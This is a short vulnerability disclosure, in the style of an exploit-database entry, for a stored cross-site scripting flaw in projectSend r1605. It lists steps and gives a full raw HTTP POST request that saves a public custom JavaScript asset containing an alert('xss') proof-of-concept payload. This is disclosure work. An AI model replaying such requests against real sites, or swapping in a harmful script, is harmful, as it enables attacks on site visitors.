Exploit Title: projectSend r1605 - Stored XSS Application: projectSend Version: r1605 Bugs: Stored Xss Technology: PHP Vendor URL: https://www.projectsend.org/ Software Link: https://www.projectsend.org/ Date of found: 11-06-2023 Author: Mirabbas Ağalarov Tested on: Linux 2. Technical Details & POC ======================================== 1. Login as admin 2. Go to Custom Html/Css/Js (http://localhost/custom-assets.php) 3. Go to new JS (http://localhost/custom-assets-add.php?language=js) 4. Set content as alert("xss"); and set public 5. And Save 6. Go to http://localhost (logout) payload: alert("xss") POST /custom-assets-add.php HTTP/1.1 Host: localhost Content-Length: 171 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/custom-assets-add.php?language=js Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: log_download_started=false; PHPSESSID=7j8g8u9t7khb259ci4fvareg2l Connection: close csrf_token=222b49c5c4a1755c451637f17ef3e7ea8bb5b6ee616293bd73d15d0e608d9dab&language=js&title=test&content=alert%28%22XSS%22%29%3B&enabled=on&location=public&position=head